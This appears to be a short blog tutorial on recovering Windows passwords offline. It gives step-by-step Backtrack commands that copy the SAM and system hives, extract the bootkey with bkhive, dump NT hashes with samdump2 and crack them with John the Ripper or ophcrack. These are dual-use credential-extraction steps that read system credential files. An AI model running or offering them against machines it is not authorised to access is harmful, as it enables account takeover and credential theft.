neophob.com

A quick and dirty Win­dows pass­word recovery:

Boot the Back­track CD.

Change dir to your Win­dows mount point:
# cd /mnt/hda2/WINDOWS/system32/config
Copy the SAM and the sys­tem Reg­istry hive to the temp dir:
# cp SAM /tmp
# cp sys­tem /tmp
Pre­pare our wordlist:
# cd /pentest/password/dictionaries/
# gun­zip –c wordlist.txt.Z > /tmp/words.txt
# cd /tmp

As the Win­dows hashes (in the SAM file) are encrypted, we need this key (called bootkey) to decrypt the SAM hashes:
# bkhive sys­tem key
Now we can dump the pass­word hashes out of the SAM file:
# samdump2 SAM key > /tmp/hashes.txt

Lets crack those hashes… the eas­i­est way would be, if the pass­word is in the wordlist, we use john for this case:
# john –w=words.txt –f=NT hashes.txt
No luck? Lets use the brute force method:
# john –incremental:all –f=NT hashes.txt

If this takes too long you could use ophcrack. This tool uses rain­bow tables and should crack your hashes in a few sec­onds, but you need to down­load those rain­bow tables (350mb or 700mb or you can gen­er­ate them your­self) which are not included on the Back­track cd (for a obvi­ous rea­son…). Or you can use the oph online cracker, which should be quite fast.

Cred­its goes to http://www.hardware-place.com!